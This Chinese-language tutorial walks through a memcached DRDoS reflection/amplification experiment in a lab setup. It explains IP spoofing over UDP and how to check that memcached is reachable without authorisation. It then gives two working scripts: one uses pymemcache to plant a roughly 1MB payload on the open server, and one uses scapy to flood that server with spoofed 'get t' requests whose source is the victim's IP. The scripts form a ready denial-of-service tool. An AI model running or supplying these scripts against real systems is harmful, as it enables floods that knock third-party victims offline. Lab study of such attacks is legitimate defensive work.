memcached DRDOS攻击实验

一、前提

关于drdos

DRDoS(Distributed Reflection Denial of Service) 指的是利用IP Spoofing技术，构造带有受害者IP的数据包，发送给肉鸡，然后肉鸡对受害者IP做出大量回应，造成拒绝服务。

关于memcached命令

第一个是上传有效载荷Memcached set 命令

Memcachedset 命令用于将 value(数据值) 存储在指定的 key(键) 中。

如果set的key已经存在，该命令可以更新该key所对应的原来的数据，也就是实现更新的作用

第二个反射有效载荷Memcached get 命令

Memcachedget 命令获取存储在 key(键) 中的 value(数据值) ，如果 key 不存在，则返回空。

关于攻击原理

TCP基于3次握手，如果源IP被伪造会停止通信，但是UDP因为面向无连接的，即使伪造IP也可以通信，服务器也无法验证源IP真实性，因此我们可以通过发送源地址为被攻击主机IP的数据包来将Memcached服务器返回的包发送给被攻击主机，从而达到反射攻击的目的。我们将使用TCP来上传我们的攻击载荷，使用UDP构造请求来发起攻击

关于攻击过程

drdos攻击的三个过程

1.攻击者，必须提前需要把攻击数据存放在所有的在线肉鸡或者反射服务器之上。

2.攻击者，必须伪造IP源头。发送海量伪造IP来源的请求。当然这里的IP就是受害者的IP地址。

3.反射服务器，必须可以反射数据，运行良好稳定。最好是请求数据少，返回数据成万倍增加。

二、实验环境

攻击机 kali，装有memcached的ubuntu肉鸡，受害机，这里是模拟，受害机ip可以随便写

Memcached drdos拓扑图

三、实验步骤

1.docker部署memcached

默认已经安装了docker，docker-compose，用docker起一个memcached环境，需要同时打开udp和tcp，-e表示配置memcached的环境变量，缓存大小设置为64M

docker run -d -p 11211:11211/tcp -p 11211:11211/udp -e MEMCACHED_MEMORY_LIMIT=64m -e MEMCACHED_TCP_PORT=11211 -e MEMCACHED_UDP_PORT=11211 --name memcache memcached:1.4.32

2.docker ps 查看容器状态

3.查看端口开放情况

netstat -anop | grep 11211 看到tcp和udp都有在监听连接，大抵是udp是面向无连接的，所以虽然没显示listen，但其实也在监听

4.测试无授权

memcached drdos攻击需要满足无授权，来测试一下是不是无授权

输入telnet 192.168.20.172 11211

然后输入stats，发现不用输入密码也能正常回显，无授权条件达成

5.编写set脚本

python安装pymemcache库

pip install pymemcache

然后编写脚本set大约1Mb数据到memcached，

创建并编辑drdos.py

from pymemcache.client.base import Client
import sys

client = Client(('192.168.20.172', 11211))   //装有memcached的ubuntu肉鸡ip
# set payload
key = 't'
data ='A'*1023*1023 + "B"
result = client.set('t', data)
if result:
	print "[*] payload set done!"
else:
  	print "[!] payload set error!"

6.编写反射脚本

src为伪造的ip，这里为受害机，伪造是10.40.0.133发起的get t请求，memcached将会把数据反射给10.40.0.133

from scapy.all import *
from scapy import *
from scapy.layers.inet import IP, UDP
import sys

for i in range(int(sys.argv[1] )):
	data = "\x00\x00\x00\x00\x00\x01\x00\x00get t\r\n"
	package=IP(dst='192.168.20.155', src='10.40.0.133')/UDP(dport=11211,sport=2018)/data
	send(package, count=1)
  	print "[*] send %d times " % int(i+1)